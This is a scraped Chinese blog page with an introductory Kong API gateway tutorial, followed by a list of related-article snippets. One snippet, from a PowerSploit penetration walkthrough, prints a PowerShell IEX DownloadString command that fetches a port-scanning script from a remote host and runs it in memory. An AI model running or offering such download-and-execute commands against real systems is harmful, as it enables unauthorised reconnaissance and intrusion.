API Gateway——KONG簡單入門

一、簡介

?

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。

Kong,是由Mashape公司開源的,基于Nginx的API gateway。


二、特點

可擴展:支持分布式

模塊化 功能:授權、日志、ip限制、限流、api 統計分析(存在商業插件Galileo等、也可自己研發)、請求轉化、跨域(CORS)、其他功能通過lua編寫插件實現。

...


三、調用流程

Once Kong is running, every request being made to the API will hit Kong first, and then it will be proxied to the final API. In between requests and responses Kong will execute any plugin that you decided to install, empowering your APIs. Kong is effectively going to be the entry point for every API request.

譯文:Kong啟動之后,每個請求先經過Kong,然后由Kong代理 訪問最終的API。在請求和響應之間,Kong可以執行任何已配置的插件,達到增強APIs的目的。Kong作為每個API請求的入口。


// 四、Kong技術架構圖


五、測試環境搭建

1 安裝kong

https://getkong.org/install/

2 postgresql安裝配置

http://www.ruanyifeng.com/blog/2013/12/getting_started_with_postgresql.html

kong的postgresql數據庫連接命令:psql -U kong -d kong -h 127.0.0.1 -p 5432

3 kong配置

https://getkong.org/docs/0.9.x/configuration/

4 kong啟動

kong start -c /etc/kong/kong.conf --vv

遇到錯誤:Error: /usr/local/share/lua/5.1/pgmoon-mashape/init.lua:239: missing password, required for connect

解決方法:檢查配置文件的是否存在pg_password配置。

?

六、使用示例

說明:Kong Admin API 默認口為8001

1 在kong中新增api

1.1命令

curl -i -X POST \

--urlhttp://localhost:8001/apis/\

-d 'name=getTeacherById' \

-d 'upstream_url=http://www.daydays.com/' \

-d 'request_path=/**/**/teacher.do'

1.2 原接口請

curl -i -X GET \

--urlhttp://www.daydays.com/**/**/teacher.do?fmid=1031

1.3 通過kong進行接口請求

curl -i -X GET \

--urlhttp://localhost:8000/**/**/teacher.do?fmid=1031

2 增加限速插件

2.1 命令

curl -X POSThttp://localhost:8001/apis/getTeacherById/plugins\

--data "name=rate-limiting" \

--data "config.second=2" \

--data "config.minute=2" \

--data "config.hour=10000"

//2.2 訪問頻率超過限制后,接口返回結果如下圖:

3 訪問控制

3.1 添加key-auth插件,命令如下:

curl -i -X POST \

--urlhttp://localhost:8001/apis/getTeacherById/plugins/\

--data 'name=key-auth'

//此時直接訪問接口,將返回以下錯誤:

3.2 增加消費者:

curl -i -X POST \

--urlhttp://localhost:8001/consumers/\

--data "username=daydaysTeachApp"

3.3 為消費者配置證書

curl -i -X POST \

--urlhttp://localhost:8001/consumers/daydaysTeachApp/key-auth/\

--data 'key=daydaysTeachApp_randomNum123456'

通過key訪問請求

curl -i -X GET ? --urlhttp://localhost:8000/**/**/teacher?fmid=1031\

"apikey: daydaysTeachApp_randomNum123456"

4 在kong中刪除api

curl -i -X DELETE \

--urlhttp://localhost:8001/apis/getTeacherById

七、參考資料

中文資料介紹:https://www.sdk.cn/news/1596

kong官網:https://getkong.org

github:https://github.com/Mashape/kong/

?

?


轉自:https://www.jianshu.com/p/f9a2210f6722

?

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/449592.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/449592.shtml
英文地址,請注明出處:http://en.pswp.cn/news/449592.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

小程序 公眾號/h5相互跳轉-webview

小程序與h5的跳轉 前提小程序管理后臺配置域名白名單,并且h5頁面是嵌在小程序里面(相互跳的前提條件) 在業務域名中設置好訪問的h5地址 微信官方web-view 介紹地址 https://developers.weixin.qq.com/miniprogram/dev/component/web-view.ht…

十、eclipse快捷鍵大全

eclipse快捷鍵大全轉載于:https://www.cnblogs.com/zheaven/p/10541531.html

如何保證代碼的高質量?

代碼的高質量是軟件的靈魂,代碼 數據結構 算法, 而高質量的代碼 優良的變量、函數命名 優良的代碼結構、代碼層次結構 數據結構 算法。 時時刻刻想這上面的四點,你的代碼就會漸漸的上新臺階,老板不給你加工資還…

centos6.5 安裝 kong 網關

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 最近要求了解下kong網關,然后在網上一頓找,說實話,度娘的力量還是不行啊,找出來的那些跟…

lucene學習的小結

pom.xml設置 <dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.12</version><scope>test</scope></dependency><dependency><groupId>org.apache.lucene</groupId&…

并行計算的專訪

摘要&#xff1a;社區之星第9期采訪的嘉賓是香港浸會大學計算機在讀博士、浪潮高性能計算顧問趙開勇。此次他為我們揭開了高性能計算的神秘面紗&#xff0c;為讀者講解自己的經驗心得。并且他認為基于移動設備的高性能計算將會成為未來潮流&#xff0c;低功耗、高性能也將成為一…

CentOS6.5 搭建 LNMP (linux + nginx + mysql + php)

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 1&#xff1a;查看環境&#xff1a; 12[root10-4-14-168 html]# cat /etc/redhat-releaseCentOS release 6.5 (Final)2&#xff1a;關掉…

正睿2019省選附加賽 Day10 (這篇其實已經都咕咕了...)

目錄 2019.3.13A.算算算(二項式定理 斯特林數)B.買買買C.樹樹樹2019.3.13比賽鏈接 A.算算算(二項式定理 斯特林數) 題目鏈接 \(x^k\)可以用二項式定理展開&#xff0c;需要維護的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一個數時&#xff0c;每一項都要再用一遍二項式定…

freemarker 從 spring boot execute jar可執行jar中訪問模板文件

2019獨角獸企業重金招聘Python工程師標準>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目錄try {String pathPrefix "/";// 為了支持能從execute jar 中獲取模板文件URI uri C…

獲取所有股票數據

#%%#先引入后面可能用到的包&#xff08;package&#xff09; import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常顯示畫圖時出現的中文和負號 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息偵察)腳本滲透實戰

Recon(信息偵察)模塊 a) 調用invoke-Portscan掃描內網主機的端口。 1&#xff09;通過IEX下載并調用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代碼前面為0,補齊6位數

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP環境

簡介LNMP是Linux、Nginx、MySQL和PHP的縮寫&#xff0c;這個組合是最常見的WEB服務器的運行環境之一。本文將帶領大家在CentOS 6操作系統上搭建一套LNMP環境。 本教程適用于CentOS 6.x版本。 在安裝LNMP環境之前&#xff0c;您需要先對CentOS操作系統做一些初始化的工作&#x…

前端技術周刊 2019-01-21:跨端開發的三條路線

2019-01-21 前端快爆 微軟 Edge 開發者意圖為 Chrome 實現 HTML Modules&#xff0c;該規范用來替代之前的 HTML Imports。其優點是基于 ES Modules&#xff0c;可以避免全局對象污染、腳本解析阻塞等問題。?點評&#xff1a;舉報&#xff0c;有人在「秀恩愛」&#xff01; &l…

分配內存的方法,需要32位對齊

type 是char&#xff0c;short&#xff0c;int 。 #define DATA_ALIGN 1 #if DATA_ALIGN && WIN32 && (_MSC_VER > 1300) #define my_malloc(type,len) _aligned_malloc(sizeof(type) *(len), 32) #define my_free(ptr) _aligned_free(ptr) #e…

zabbix-02-CentOS7.4安裝zabbix4.0

一、環境準備 1.1 主機規劃 這里先對本次實驗的機器做一個規劃&#xff0c;之后的實驗均通過這兩臺機器完成。 序號IP地址主機名CPU內存硬盤安裝服務110.0.0.11zabbix-server1C2G20GBzabbix服務端210.0.0.12zabbix-agent1C1G20GBzabbix客戶端1.2 操作系統選擇 操作系統選擇&…

再談并發

再談并發 上一篇python并發中講到了&#xff0c;使用多進程&#xff0c;多線程&#xff0c;多任務來加快程序的運行。其中講到的一點似乎有點問題&#xff0c;操作系統中線程是調度器的最小執行單位&#xff0c;那為何python中的多線程無法利用多核&#xff0c;只能在一個處理器…

centos6.8安裝docker,kong-dashboard并實現頁面訪問

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 我們通過kong-dashboard的admin-UI管理界面進行直觀的查看。最終顯示界面如圖&#xff1a; 因為這個kong-dashboard要用到docker&#x…

leetcood學習筆記-204-計算質數

題目描述&#xff1a; 第一次提交;(超時)&#xff1a; class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 別人家的&#xff1a; 這題搜到一個非常牛逼的算法,叫做厄…